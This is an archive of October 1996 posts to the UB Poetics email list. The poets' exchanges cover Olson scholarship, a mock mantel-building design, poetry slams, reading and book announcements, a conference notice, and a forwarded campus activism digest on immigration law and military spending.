493. Bill Luoma — Re: olson & oratory
494. Douglas Barbour — Re: that poem by Seamus Heaney, for Wendy Battin
495. Jordan Davis — to get back to Tracie Morris
496. Julie Marie Schmid — Re: to get back to Tracie Morris
497. maria damon — Re: to get back to Tracie Morris
498. maria damon — Re: to get back to Tracie Morris
499. David Kellogg — Whatever you say say nothing
500. Joe Amato — Re: michael moore -Reply
501. Steve Shoemaker — Re: Kathy Change
502. Michael Coffey — Whatever you say say nothing -Reply
503. Kevin Killian — Re: michael moore -Reply
504. Chris Funkhouser — Re: to get back to Tracie Morris
505. maria damon — Re: michael moore -Reply
506. Christina Fairbank Chirot — Art on the Edge of Fashion
507. Jordan Davis — michael moore's reply
508. Jordan Davis — Poetry City Oct 24 NZ/TC
509. Joe Amato — Re: michael moore -Reply
510. Robert Drake — Re: Whatever you say say nothing -Reply
511. Pritchett,Pat — Re: Kathy Change
512. Louis Cabri — p p p p
513. Wendy Battin — Re: that poem by Seamus Heaney, for Wendy Battin
514. Tony Green — Re: A Parade of Theories
515. Tony Green — Taking a break
516. robert zamsky — Poesis & Politics

517. Steve Carll — Mountain Goats
518. Steve Carll — suicide and narcissism
519. Louis Cabri — famus close readings, #1

25 OCT 1996

520. henry gould — Re: Kathy Change
521. Henry Gould — there was a reading in Providence
522. James Brook — a librarian on libraries--and librarians
523. Henry Gould — Sonnet With Dog In It
524. [redacted]
525. [redacted]
526. [redacted]
527. [redacted]
528. maria damon — Re: CALL FOR PAPERS
529. [redacted]
530. [redacted]
531. [redacted]
532. Loss Glazier — EPC in Public
533. Loss Glazier — Re: Mountain Goats
534. [redacted]
535. Aldon L. Nielsen — Re: Called Fur papers

26 OCT 1996

536. Jennifer-Alan — Re: Kathy Change
537. maria damon — Re: Kathy Change
538. maria damon — scary message
539. maria damon — Re: Called Fur papers
540. Steve Shoemaker — Re: Kathy Change
541. James Brook — situationist archives on line
542. Jordan Davis — Colby 20, Zedd 3 (65)
543. Eliza McGrand- CVA Guest — Re: scary message
544. Eliza McGrand- CVA Guest — Re: scary message
545. Jordan Davis — Shapiro 15, Coultas 11, Godfrey 10 @ Ichor/Clementine
546. cris cheek — Re: Marginalized?
547. maria damon — Re: scary message
548. maria damon — Re: scary message
549. Christina Fairbank Chirot — Re: Kathy Change
550. Rick Bursky — "help"
551. Jennifer-Alan — Re: "help"
552. Carnography — There was a reading in Providence? What about Brown?

27 OCT 1996

553. Alan Jen Sondheim — lulled bye (fwd)
554. Ward Tietz — Alire: French Review of Electronic Writing
555. Douglas Barbour — Re: POETICS Digest - 23 Oct 1996 to 24 Oct 1996
556. [redacted]
557. Douglas Barbour — Re: POETICS Digest - 25 Oct 1996 to 26 Oct 1996
558. Kathleen Crown — more info on Poetry & the Public Sphere
559. [redacted]
560. Pam Brown — Re: Mountain Goats
561. Louis Cabri — Politics; Change; Fabulous poetry; Close reading
562. [redacted]
563. George Bowering — Re: Kathy Change
564. Steve Evans — New Publication

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565. Aldon L. Nielsen — Re: Jump Up

566. [redacted]
567. Kathleen Crown — Re: CALL FOR PAPERS
568. henry — Re: Kathy Change
569. Jeff Hansen — politics & poetry
570. Jordan Davis — Re: politics & poetry
571. maria damon — Re: CALL FOR PAPERS
572. Yunte Huang — Re: politics & poetry
573. Steve Evans — There was a reading in Providence? What about Brown?
574. Edward Foster — Re: politics & poetry
575. Christina Fairbank Chirot — Re: politics & poetry
576. Joseph Lease — Re: politics & poetry
577. k.a. hehir — Re: Marginalized?
578. j.l. wiens — Re: politics & poetry
579. henry g — Re: politics & poetry
580. Keith Tuma — Re: politics & poetry
581. main — Re: politics & poetry
582. Simon Schuchat — Re: politics & poetry
583. [redacted]
584. Carnography — SPITTING IMAGE Reading on No. 2nd: Forward
585. Carnography — SPITTING IMAGE Reading on No. 2nd: Forward
586. maria damon — Re: postcolonial? other conference ?

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587. Stephen Cope — Re: politics & poetry
588. Christopher Reiner — WITZ note
589. Carnography — Re: There was a reading in Providence? What about Brown?
590. Henry Gould — politics & poetry
591. Joe Amato — Re: politics & poetry
592. Elda Rotor — New Digressions magazine
593. Douglas Barbour — Re: POETICS Digest - 27 Oct 1996 to 28 Oct 1996
594. Mark Wallace — "Politics"? "Poetry"?
595. John Geraets — postcolonial? other conference ?
596. Daniel Bouchard — politics, poetry, etc etc
597. Kenneth W Sherwood — Re: JH and Political poetry
598. Joseph Lease — Re: politics & poetry
599. Joseph Lease — Re: politics & poetry
600. Joseph Lease — Re: politics & poetry
601. Joseph Lease — Re: "Politics"? "Poetry"?
602. Joseph Lease — Re: "Politics"? "Poetry"?
603. Joseph Lease — Re: politics, poetry, etc etc
604. Joseph Lease — Re: JH and Political poetry
605. henry g — Re: politics, poetry, etc etc
606. Rod Smith — new Moxley, Niedecker, Rothenberg, Satie, at Bridge Street
607. Rod Smith — Re: JH and Political poetry
608. Kevin Killian — Re: politics, poetry, etc etc
609. henry g — Re: "Politics"? "Poetry"?
610. henry g — politics post hotdog w/mustard
611. Jeffrey W. Timmons — Re: "help"
612. Matt Kirschenbaum — poetry/media/politics
613. Andrew D Epstein — Gary Snyder Reading (NYC)
614. Mark W Scroggins — Re: politics, poetry, etc etc
615. Thomas Bell — Re: politics, poetry, etc etc

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616. Simon Schuchat — Re: politics, poetry, etc etc
617. Joshua N Schuster — poetry & politics
618. Rod Smith — Re: politics, poetry, etc etc

619. Yunte Huang — Re: politics & poetry
620. Yunte Huang — This Place
621. Mark Wallace — what's relevant to politics
622. Jeff Hansen — (no subject)
623. henry g — (no subject)
624. Joe Amato — new awp...
625. maria damon — Re: politics, poetry, etc etc
626. maria damon — Re: politics & poetry
627. henry g — Re: politics & poetry
628. maria damon — Re: new awp...
629. Susan Schultz — melus conference
630. Kevin Killian — Re: New Publication
631. Rod Smith — Re: "Politics"? "Poetry"?
632. henry — Re: "Politics"? "Poetry"?
633. Pritchett,Pat — Re: splitting my very last hair
634. Christina Fairbank Chirot — poelitics
635. Aldon L. Nielsen — Re: splitting my very last hair
636. henry — Re: poelitics
637. Aldon L. Nielsen — Re: "How do y'all do it?"
638. Steve Carll — new book
639. Gwyn McVay — Re: new awp...
640. Jordan Davis — Re: "Politics"? "Poetry"?
641. Rod Smith — Re: politics, poetry, etc etc
642. David Kellogg — Announcement: New Poet
643. Rod Smith — Re: "Politics"? "Poetry"?
644. Brian McHale — Re: politics & poetry
645. Gwyn McVay — /Paradise & Method/
646. Eryque Gleason — Re: JH and Political poetry
647. MAXINE CHERNOFF — Re: "Politics"? "Poetry"?
648. maria damon — Re: JH and Political poetry
649. henry g — Re: "Politics"? "Poetry"?
650. Alan Jen Sondheim — Re: "Politics"? "Poetry"?
651. maria damon — Re: Announcement: New Poet
652. Joseph Lease — Re: poelitics
653. Joseph Lease — Re: politics, poetry, etc etc
654. henry g — Re: "Politics"? "Poetry"?
655. Pritchett,Pat — Re: "Politics"? "Poetry"?
656. Walter K. Lew — Re: Announcement: New Poet
657. David Kellogg — Re: Announcement: New Poet
658. main — Re: JH and Political poetry
659. Jena Osman — New issue of Chain is out
660. Carnography — Correction: SPITTING IMAGE Reading
661. Dan Raphael Dlugonski — "Aldon L. Nielsen" <[redacted]> >Subject: Re: Jump Up
662. Jeffrey W. Timmons — 12.31.95
663. Alan Jen Sondheim — Re: "Politics"? "Poetry"?
664. VPI R TremblayMcGaw — Re: New Publication INTERNET 2K Oct-30-96

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665. Eryque Gleason — Re: JH and Political poetry
666. Carnography — A late response to prop/Carll thread
667. Ron Silliman — Tiger chasing its tail (or tale)
668. henry gould — Re: "Politics"? "Poetry"?
669. Mary Hilton — Politics, Poetry and "Political Diction"
670. Jordan Davis — the time is at hand
671. Sylvester Pollet — NATIONAL POETRY FOUNDATION WEBSITE OPEN !
672. maria damon — Re: Tiger chasing its tail (or tale)

673. This is Tosh — Re: A late response to prop/Carll thread
674. Lisa Samuels — New WebLit Journal "POEPHYSICS" (fwd)
675. Rod Smith — Re: Tiger chasing its tail (or tale)
676. Joe Amato — Re: Tiger chasing its tail (or tale)
677. Pritchett,Pat — Re: from pol to pal
678. Aldon L. Nielsen — Re: Always a Bridesmaid State University
679. Jeff Hansen — (no subject)
680. Pierre Joris — from pol to pal
681. Jordan Davis — Object / Poet's Corner / Berkson - Koch
682. Pierre Joris — apos re pol to hal
683. henry g — Re: Tiger chasing its tail (or tale)
684. Pierre Joris — Re: apos re pol to hal
685. T-Bone Prone — Re: Tiger chasing its tail (or tale)
686. maria damon — Re: Always a Bridesmaid State University
687. Larry Price — Re: Tiger chasing its tail (or tale)
688. Pritchett,Pat — Re: "Politics"? "Poetry"?
689. Christina Fairbank Chirot — GISCOMBE READING
690. henry — Re: "Politics"? "Poetry"?
691. Jeffrey W. Timmons — Re: "Politics"? "Poetry"?
692. Aldon L. Nielsen — Re: from a justified sinner
693. Charles Smith — Oliver Lake
694. Kenneth W Sherwood — Poetry politics and classrooms
695. Jordan Davis — Re: Poetry politics and classrooms
696. Thomas Bell — Poepolitics?
697. George Bowering — Re: Tiger chasing its tail (or tale)
698. George Bowering — Hmm

1. George Bowering
Re: the bleeding edge
Tue 1 Oct 1996

If it really was a "Tony Greene" who sent the clarifying message from a place designated as "New Zealand", I would like to proffer my thanks for said clarification.

The only problem I am having is deciding whether what I am saying right now is being said by anyone I recognize.

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

2. John Cayley
reading retallack
Tue 1 Oct 1996

Should've picked up on this before (has someone already mentioned it?), but there were two interesting papers on JR at the recent New Hampshire conference, (where she also read, wonderfully) -- Burton Hatlen 'Joan Retallack, a philosopher among the poets, a poet among the philosophers' and Alan Devenish, 'Living with the mess: Joan Retallack's "poethical wager"'. Perhaps these are already mounted at the EPC? Or will be published in the proceedings? (Check with Loss Glazier or Romana Huk.)

- - - - - >
John Cayley Wellsweep Press [in Chinese HZ:]
^ innovative literary translation from Chinese ^
1 Grove End House 150 Highgate Road London NW5 1PD UK
Tel & Fax: 0[redacted] Email: [redacted]
http://www.demon.co.uk/eastfield/
< - - - - -

↑ Index

3. John Cayley
modernism and the orient
Tue 1 Oct 1996

Could someone, back-channel, send me details -- or the organizer's email address -- of the recently forwarded posting to Poetics about a forthcoming conference at Yale on 'Modernism and the Orient'.

Thanks, in anticipation. (I lost the reference it in a delete-key shuffle.)

- - - - - >
John Cayley Wellsweep Press [in Chinese HZ:]
^ innovative literary translation from Chinese ^
1 Grove End House 150 Highgate Road London NW5 1PD UK
Tel & Fax: 0[redacted] Email: [redacted]
http://www.demon.co.uk/eastfield/
< - - - - -

↑ Index

4. Sylvester Pollet
Kellogg's Mantle
Tue 1 Oct 1996

The quick help on La Curandera made me feel it was perhaps time to respond to David Kellogg's oft-repeated plaint that his fireplace lacks an adjust- able shelf. He borrows words from Thomas Kinsella to say it: There is no mantle/and it does not descend. David, if you see it as a long bosuns chair, the construction is pretty straightforward. Take a 2x8 or 2x10, drill two holes at each end, run lines crossing diagonally under the plank, & tie them together a couple of feet above it (though eye-splices give a more elegant appearance). Attach a single-sheave block to the ceiling, clip (or tie with a bowline) a halyard to the shelf lines, haul it up to what- ever height you like, and tie it off to a cleat on the wall next to the fireplace. If you don't like the halyard crossing the space behind the mantle, you'll need a second block to act as a fairlead--then you can run the halyard along the ceiling to wherever you like--even right to your armchair, if you bolt a cleat to the side. You can adjust it rise-descend without even getting up. But remember, some people don't even have fireplaces. best, Sylvester

↑ Index

5. Christina Fairbank Chirot
Re: Mickey's (not Kellogg's) Mantle
Tue 1 Oct 1996

And here I've thought all along that it was Mickey's Mantle that does not descend now that Mickey Mantle has ascended to the Hall of Fame in the Sky. As Casey Stengel was wont to say: "You could look it UP."

--dbc

↑ Index

6. maria damon
Re: Kellogg's Mantle
Tue 1 Oct 1996

---

sylvester pollet rites:
> The quick help on La Curandera made me feel it was perhaps time to respond
> to David Kellogg's oft-repeated plaint that his fireplace lacks an adjust-
> able shelf. He borrows words from Thomas Kinsella to say it: There is no
> mantle/and it does not descend.

now, this is an area in which i've experienced some confusion of late, don't ask me why it seems to have come up fairly frequently in the last several months: isn't the fireplace thing spelled "mantel," whereas the garment thing is spelled "mantle"?

↑ Index

7. David Kellogg
Re: Kellogg's Mantle
Tue 1 Oct 1996

Thanks for the help! That's as good as the response I got from the geophysicist...

>The quick help on La Curandera made me feel it was perhaps time to respond
>to David Kellogg's oft-repeated plaint that his fireplace lacks an adjust-
>able shelf. He borrows words from Thomas Kinsella to say it: There is no
>mantle/and it does not descend. David, if you see it as a long bosuns
>chair, the construction is pretty straightforward. Take a 2x8 or 2x10,
>drill two holes at each end, run lines crossing diagonally under the plank,
>& tie them together a couple of feet above it (though eye-splices give a
>more elegant appearance). Attach a single-sheave block to the ceiling, clip
>(or tie with a bowline) a halyard to the shelf lines, haul it up to what-
>ever height you like, and tie it off to a cleat on the wall next to the
>fireplace. If you don't like the halyard crossing the space behind the

>mantle, you'll need a second block to act as a fairlead--then you can run
>the halyard along the ceiling to wherever you like--even right to your
>armchair, if you bolt a cleat to the side. You can adjust it rise-descend
>without even getting up. But remember, some people don't even have
>fireplaces. best, Sylvester
>
>
~~~
~~~

The Poetry Mission is an independent nonprofit all-volunteer arts organization.
- Henry Gould [redacted]

↑ Index

9. Pierre Joris
OLson date
Tue 1 Oct 1996

Would anybody on the list know the exact date of composition of Charles Olson's "A Plan for the Curriculum of the Soul" (the text that is used on the inside covers of the various Institute of Further Studies booklets). I know it dates to somewhere between fall '63 & spring '65, i.e. the date sof Olson's teaching gig at UB, but need a more exact date. Backchannel or post to the list, whatever -- & thanks. Pierre

↑ Index

10. George Bowering
Re: OLson date
Tue 1 Oct 1996

> *Would anybody on the list know the exact date of composition of Charles Olson's "A Plan for the Curriculum of the Soul" (the text that is used on the inside covers of the various Institute of Further Studies booklets). I know it dates to somewhere between fall '63 & spring '65, i.e. the date sof Olson's teaching gig at UB, but need a more exact date. Backchannel or post to the list, whatever -- & thanks. Pierre*

Pierre. I think Fred Wah might be able to tell you. His address is

[redacted]

George Bowering.

,

2499 West 37th Ave.,
Vancouver, B.C.,
Canada V6M 1P4

fax: [redacted]
e-mail: [redacted]

↑ Index

11. Jordan Davis
slam
Tue 1 Oct 1996

Is there any connection between poetry slams and slam dancing? Can we look forward to poetry moshes anytime soon?

Jordan

_____
Jordan Davis
[redacted] "more poetry t-shirts, please"

↑ Index

12. Christina Fairbank Chirot
Re: slam
Tue 1 Oct 1996

Henry Rollins (Black Flag) comes to mind

lot of punk/poets--Exene Cervenka or earlier Patti Smith & Richard Hell

(pogo as proto-slam . . .

On Tue, 1 Oct 1996, Jordan Davis wrote:

> *Is there any connection between poetry slams and slam dancing? Can we look forward to poetry moshes anytime soon?*
>
> *Jordan*
>
> _____
> *Jordan Davis*
> [redacted] "*more poetry t-shirts, please*"

↑ Index

13. Julie Marie Schmid
Re: slam
Tue 1 Oct 1996

The poetry slam is actually named in memory of a grand slam that Marc Smith saw Ernie Banks hit. Even so,
there seem to be
some pretty obvious connections that one could draw between the two.

On Tue, 1 Oct 1996, Christina Fairbank Chirot wrote:

> *Henry Rollins (Black Flag) comes to mind*
>
> *lot of punk/poets--Exene Cervenka or earlier Patti Smith & Richard Hell*
>
> *(pogo as proto-slam . . .*
>
> *On Tue, 1 Oct 1996, Jordan Davis wrote:*
>
> *Is there any connection between poetry slams and slam dancing? Can we look forward to poetry moshes anytime soon?*
>
> *Jordan*
>
> _____
> *Jordan Davis*
> [redacted] *"more poetry t-shirts, please"*

↑ Index

14. Tony Green
Re: the way of all languages
Tue 1 Oct 1996

also hopeful but unthought through manipulation breaks down because of the predictable failures of communication between the manipulators yes?

Tony Green,
e-mail: [redacted]

↑ Index

15. Michael Boughn
Re: Nedge
Wed 2 Oct 1996

> *Published by the Poetry Mission, PO Box 2321, Providence, RI 02906. To order within the U.S.: send $6.25 ($5. issue plus $1.25 postage) to the above address. Or send $10. for a 2-issue postpaid subscription (#4 & 5). Limited copies available; priority will go to those who prepay; but you may also email me your street address & I will send & bill you. Outside U.S.: please email me & we'll figure it out.*
>
> *Listmember contributors: it's on the way to you!*

> *The Poetry Mission is an independent nonprofit all-volunteer arts organization.*
> *- Henry Gould* [redacted]

Henry, I'd like to sign up. My address is 653 Euclid Ave., Toronto, ON M6G 2T6. I can send you a cheque. Just let me know. The postage is a bit more I think.

Later,
Mike

↑ Index

16. henry
Re: Nedge
Wed 2 Oct 1996

Thanks, Mike. I haven't done this before - I guess my bank will accept foreign personal checks. I'll send you a copy, check with my bank, and get back to you (that way I'll know the exact postage too). - Henry

↑ Index

17. Henry G
Re: Nedge
Wed 2 Oct 1996

Very sorry, poetics list. Once again the mechanics of "reply" eluded me. I thought it would go back to sender only. - HG

↑ Index

18. Christina Fairbank Chirot
what is real and what is not
Wed 2 Oct 1996

re the recent thread concerning the ficitional & factual and the disappearance of the real--or the real of disappearance--

and the princess and the prince discuss
what is real and what is not

but there are no truths outside the Gates of Eden

--Bob Dylan

--db cooper aka chirot

> *if possible, could you post the following to your list?*

CONFERENCE ANNOUNCEMENT:
CHANCE: 3 DAYS IN THE DESERT

JEAN BAUDRILLARD PLAYS (near) VEGAS
with ALLUCQUERE ROSANNE STONE & DIANE DI PRIMA

WHEN? November 8 - 10, 1996
WHERE? Whiskey Pete's Casino, Primm Nevada (see below)
HOW? Check out the CHANCE website at:
http://www.artcenter.edu/events/chance.html
email: [redacted]
phone: 818/[redacted]

WHAT?.....
CHANCE is a philosophical rave & summit meeting between artists & philosophers, chaosophists & croupiers, mathematicians & musicians at Whiskey Pete's Casino in the Nevada desert. A CHANCE to redefine this century's romance with randomness & synchronicity less innocently for our era.

CHANCE to explore the multiplicity of identity.

Three days of chance encouters, gambling & deep thought with Jean Beaudrillard, Allucquere Rosanne Stone & 30 other internationally active cultural strategists.....Music from the San Francisco bands Towel & Ohm-a-Revelator.....a one-time mystery jam between six special guest star musicians with Red Krayola lead guitarist Tom Watson.....the intensely nameless beauty of Oguri & Renzoku butoh.....a roving fun-house of installation art & readings organized by Sarah Gavlak, Pam Strugar & Dan Frydman.

Appearing in addition to Baudrillard, Stone & diPrima will be

DOUGLAS HEPWORTH, Wall Street Chaos Trader
DJ SPOOKY, That Subliminal Kid
SHIRLEY TSE, Hong Kong Artist
ANN ROWER, New York Writer
SYLVERE LOTRINGER, Semiotext(e)ician
JEREMY GILBERT-ROLFE/THE CHANCE BAND/SHEPPARD POWELL
& THE CHANCE OF THE UNKNOWN

Primm, Nevada is located at the border of Nevada & California: Paiute nuclear waste specialist Calvin Meyers will lead a desert walk & talk about the desecration of tribal land.

WHO? As above..... & YOU!

WHY?

> *the Outsider Bookstore*
> *4505 Fountain Avenue*
> *Los Angeles, CA 90029*
> *ph #[redacted]*

↑ Index

19. Sylvester Pollet
Kellogg's Mantle/Mantel
Wed 2 Oct 1996

for Maria Damon--yes, though either spelling is acceptable, same word. The French distinguish with a qualifier: manteau and manteau de cheminee. But now, what's the French for bosun's chair? I don't have my big Larousse here, but find maitre d'equipage for bosun (boatswain). Maybe Pierre Joris could help? Ah, Poesy!

↑ Index

20. Joe Amato
new book...
Wed 2 Oct 1996

taking a moment to call your attention to the work of a long-time friend of mine, greg hewitt, whose first book of poetry, _to collect the flesh_, is just out on new rivers press (winner of the minnesota voices project annual competition)...

greg's work is at once intellectually demanding and surprising, constructed around (generally) a lyrical-narrative 'i' that is sometimes colloquial, sometimes more formal... a number of the poems in this collection deal with love between men, and with father-son relationships... perhaps my favorite is "george washington, lover," which is simply remarkable in surfacing a homoerotic potential between washington and alexander hamilton...

highly recommended...

joe

↑ Index

21. Joe Amato
new book...
Wed 2 Oct 1996

EEK... and i go and spell greg's last name wrong... must be some sort of coded alphaphobia...

it's not hewitt, it's hewEtt...

so sorry//

joe

↑ Index

22. maria damon
Re: new book...
Wed 2 Oct 1996

---

ah, joe, you beat me to the draw...and for those of you in the twin cities area, tonite at the Landmark Center in St Paul there'll be a reading/book signing party for greg (by the way it's "hewett" with an e, rather than "hewitt," those of you racing for your "books in print"), at 7 or 7:30. see ya there, groovoids.
bests, maria d

In message <[redacted]> UB Poetics discussion
group writes:
> taking a moment to call your attention to the work of a long-time friend of
> mine, greg hewitt, whose first book of poetry, _to collect the flesh_, is
> just out on new rivers press (winner of the minnesota voices project annual
> competition)...
>
> greg's work is at once intellectually demanding and surprising, constructed
> around (generally) a lyrical-narrative 'i' that is sometimes colloquial,
> sometimes more formal... a number of the poems in this collection deal with
> love between men, and with father-son relationships... perhaps my favorite
> is "george washington, lover," which is simply remarkable in surfacing a
> homoerotic potential between washington and alexander hamilton...
>
> highly recommended...
>
> joe

↑ Index

23. maria damon
Re: new book...
Wed 2 Oct 1996

---

oh joe, so sorry, didn't mean to be schoolmarmish...just living up to my Lady Poetrix, Mistress of Discipline persona...
md

In message <[redacted]> UB Poetics discussion
group writes:
> EEK... and i go and spell greg's last name wrong... must be some sort of
> coded alphaphobia...
>
> it's not hewitt, it's hewEtt...
>
> so sorry//
>
> joe

↑ Index

24. Dan Machlin
Laura Moriarty and Melanie [redacted]
Wed 2 Oct 1996

THURSDAY, OCTOBER 3RD, 7:30 p.m. sharp
SEGUE PERFORMANCE SPACE
303 EAST 8th STREET (BETW AVES B&C)
Suggested Contribution $3.00

LAURA MORIARTY is the author of Symmetry (Avec), L'Archiviste (Zasterle), like roads (Kelsey St), Rondeaux (Roof), Two Cross Seizings (Sombre Reptiles), Persia (Chance Additions) and Duse (Coincidence Press). She is the Director of the American Poetry Archives at The Poetry Center, San Francisco State University. MELANIE NEILSON is the author of Civil Noir (Roof) and Natural Facts (Poets & Poets). A chapbook Vertigo is forthcoming from Moxey Books. An essay "Chandeliers get in my ears: Reading Bruce Andrews" will appear in AERIAL # 9. She has work in upcoming issues of Primary Writing, Tongue To Book (U.K.) and the anthologies Moving Borders (Talisman House) and Out of Everywhere (Reality Street). She is the editor of Big Allis Magazine.

↑ Index

25. Jordan Davis
Re: the way of all languages
Wed 2 Oct 1996

Tony --

Aren't those predictable 'failures of communication' actually the sites of artistic negotiation? Isn't it pleasant to sit here watching the clouds go by while monopoly capitalism extinguishes itself through a bland hierarchical arson? While Bob Dylan sings? While another one steps up to the microphone?

Jordan

_____
Jordan Davis
[redacted]

Orion sightings:
7th & A, eight postings on the
phonebooth, dealing mainly with
'nasal crutches'

↑ Index

26. Bill Luoma
malomar
Wed 2 Oct 1996

---

the fans said alomar sucks alomar sucks alomar sucks as the umps took the field last night at yankee stadium

the fans withrew their support later in the game as blue was telling mariano dunken where the bench was after calling him out on a pitch both high & outside with runners on

↑ Index

27. Steve Carll
Dis Mantel Here?
Wed 2 Oct 1996

At 12:02 AM 10/2/96 -0400, Maria Damon wrote:

>now, this is an area in which i've experienced some confusion of late, don't ask
>me why it seems to have come up fairly frequently in the last several months:
>isn't the fireplace thing spelled "mantel," whereas the garment thing is spelled
>"mantle"?

The garment thing is, to my knowledge, always "mantle", but the fireplace thing can be either "mantel" or "mantle."

****

[redacted] Steve Carll
http://writing.upenn.edu/epc/mags/antenym
http://writing.upenn.edu/epc/ezines/antenym

In seed-
sense
the sea stars you out, innermost, forever.

--Paul Celan
****

↑ Index

28. Charles Watts
Re: POETICS Digest - 30 Sep 1996 to 1 Oct 1996
Wed 2 Oct 1996

Pierre asks the exact date of composition of Charles Olson's PLAN FOR A CURRICULUM OF THE SOUL. I checked with Ralph Maud, who came up with a letter from Olson to George Butterick, dated 26 February 1968, re/ the publication of the "Plan" in THE MAGAZINE OF FURTHER STUDIES. Olson writes:

"Just for the accuracy, please change word "drugs" in first line of "Plan for a Curriculum of the Soul" to "the mushroom. . . ."

The "Plan" was published in THE MAGAZINE OF FURTHER STUDIES, No. 5, July 1968. Ralph reckons that Olson wrote it expressly for the magazine early in 1968, probably February. The letter can be found in the Don Allen file at the Archive for New Poetry, UC San Diego.

Cheers,

Charles Watts

↑ Index

29. Rod Smith
limpets
Wed 2 Oct 1996

---

from new Bertrand Russell biography by Ray Monk-- little Bertram at five, his first trip to the seashore-- "Aunty, do limpets think?"
"I don't know," she replied.
"Then," he said "you must learn."

↑ Index

30. Gabrielle Welford
CAN-RW digest 235 (fwd)
Wed 2 Oct 1996

Sorry this is kind of long. gab.

---------- Forwarded message ----------
Date: Wed, 2 Oct 1996 06:28:45 -1000
From: [redacted]

Topics covered in this issue include:

1) Details on mean-spirited immigration bill
   by [redacted] (Center for Campus Organizing)
2) CAN-PEACE: Campus Activism to Cut Military Spending
   by [redacted] (Center for Campus Organizing)
3) CHALLENGE THE LIE$: Lie #2
   by [redacted] (Center for Campus Organizing)

Topic No. 1

<< start of forwarded material >>

From: USSA Erica Adelsheimer <[redacted]>
To: Multiple recipients of list <[redacted]>
Subject: Immigration Update

USSA
Immigration Update
October 1, 1996

The immigration bill (H.R. 2202) that passed the House last week was most recently attached to the FY97 CR/Omnibus bill. The CR was passed yesterday by the Senate and signed last night by President Clinton. While some of the most reprehensible provisions of the immigration legislation were removed prior to Senate and Administration approval, the bill remains a mean-spirited document which penalizes undocumented persons and makes it more difficult for legal immigrants and U.S. citizens to reunite with their families.

Provisions which were removed prior to passage: % Deeming a sponsor's income as available to a legal immigrant student who applied for federal financial aid % Gallegly Amendment, which would have denied public education to undocumented children % Deportation of immigrants who received public benefits for 12 months (including students who received grant aid) % Denial of certain public benefits to legal immigrants (although most legal immigrants remain

ineligible for many public assistance programs under the welfare legislation signed into law by Clinton in August) % Denial to legal immigrants of access to treatment for HIV

Provisions which remain in the bill: % Establishment of pilot program for collecting information about non-immigrant students to ensure that such student do not overstay their visas. The program would require entering foreign students to pay a fee of up to $100 to support the program % Requirement that sponsors of immigrant relatives earn at least 125% of the poverty level % One year time limit for applying for political asylum % Denial of certain due process measures to persons who arrive without documents, including political asylees % Establishment of employee verification program (with a 27% possibility of error!) in five states with high populations of undocumented persons so that employers can check legal status of prospective employees % Increased burden of proof for prospective employees claiming hiring discrimination based on immigration status. Such persons will need to show an "intent" to discriminate, a nearly impossible standard % Increased border control, including 1000 new agents by 2001 and $12 million for a new border fence and other measures

Students should register their complaints about the immigration legislation with both their Representatives and Senators as well as with the Administration and should indicate that part of the student agenda for the upcoming year will be to work to reform this oppressive and discriminatory bill.

Erica Adelsheimer Phone: 202.347.USSA Legislative Director Fax: [redacted] U.S. Student Association E-mail: [redacted] 1612 K Street NW Ste. 510 http://www.essential.org/ussa Washington, DC 20006

Topic No. 2

Yesterday, both Congress and the President approved a 1997 Pentagon budget of $244 billion, $9.4 billion more than the military wanted, while claiming to be concerned about "balancing the budget!"

We invite you to join an e-mail discussion for campus activists interesting in challenging this hypocracy, and the military/prison priorities of our society in general. The list is called called CAN-PEACE (Campus Activists' Network, Peace Activism) and already there are about 150 subscribers.

In 1996-7 CAN-PEACE will provide communication for campus activists participating in a national campaign and speaking tour to question the justification for federal priorities in which 52 cents of every tax dollar is used by the military.

To expose the underlying ideology behind this madness, we are calling this campaign "Challenge the Lie$. We also offer resources to help make this campaign a participatory activity, open to anyone concerned about our society and willing to challenge the climate of fear and cynicism that enables military and prison contractors to continue robbing us blind. Several national groups, listed below, have agreed to provide information and support.

This discussion is cosponsored by national Peace Action and its new Student Peace Action Network, and facilitated by Brad Van Guilder of Stockton State College ([redacted]). You are invited to subscribe; you may unsubscribe at any time.

1. TO SUBSCRIBE, send e-mail to: [redacted]
   with a subject of "canet" whose body just says:
      sub can-peace Firstname Lastname

2. TO SEND A MESSAGE to the list, you must be subscribed. E-mail it to:
[redacted]

   with a subject of "canet" whose body ONLY says:
      unsub can-peace

4. If the volume of mail on this list becomes too large, you can always change your subscription to a "digest" (1 big message per day) by sending e-mail to:
[redacted] with subject "canet" and body: set can-peace mail digest

   To undo this use "ack" in place of "digest".
   To suppress mail for the summer, use "noack" in place of "digest."

5. For a list of Campus Activists' Network discussions, send email to:
[redacted]

---------- | CHALLENGE THE LIE$ || A national campaign to expose the stranglehold | | Social Justice || military and prison spending have placed on | | Speaking Tour || important social and environmental priorities. |
|----------| | Host a speaker; research the facts; design your own campaign! CCO will | | provide a packet with petitions, flyers, brainstorm ideas, and speakers:| | Helen Caldicott *Gene Carroll *Jonah Edelman *Michio Kaku *Loretta Ross |
|----------| | The organizing packet is only $1 from the CENTER FOR CAMPUS ORGANIZING | | P.O. Box 748, Cambridge, MA 02142, [redacted] o [redacted] |

Email contacts for "Challenge the Lie$" co-sponsors are:
   -Center for Campus Organizing (Dave Pai, [redacted])

-DC SCAR (Ray Davis, [redacted])
-Speak Out! (Felicia Gustin, [redacted])
-Student Peace Action Network (Amy Quinn, [redacted])
-Women's Action for New Directions (Susan Shaer, [redacted])

Topic No. 3

LIE #2:

"The U.S. Constitution prevents us from spending our tax dollars on social programs."

WHAT'S THE TRUTH?

Article 1, section 8 of the Constitution reads: " The Congress shall have power to lay and collect taxes, duties, imposts and excises, to pay the debts and provide for the common defense and general welfare of the United States"

The Constitution does not prevent investments in our social welfare.

What prevents these investments is a Congress controlled by the weapons industry!

[Excerpted from the _Challenge the Lie$ Campaign Organizing Guide_, (c) 1996 Center for Campus Organizing. You may distribute this lie and rebuttal provided that this notice is included in its entirety.]

---------- | CHALLENGE THE LIE$ || A national campaign to expose the stranglehold | | Social Justice || military and prison spending have placed on | | Speaking Tour || important social and environmental priorities. |
|----------| | Host a speaker; research the facts; design your own campaign! CCO will | | provide a packet with petitions, flyers, brainstorm ideas, and speakers:| | Helen Caldicott *Gene Carroll *Jonah Edelman *Michio Kaku *Loretta Ross |
|----------| | The organizing packet is only $1 from the CENTER FOR CAMPUS ORGANIZING | | P.O. Box 748, Cambridge, MA 02142, [redacted] o [redacted] | | -for an excerpt, send a blank e-mail to: [redacted] | ----------

---

End of CAN-RW Digest 235
****

↑ Index

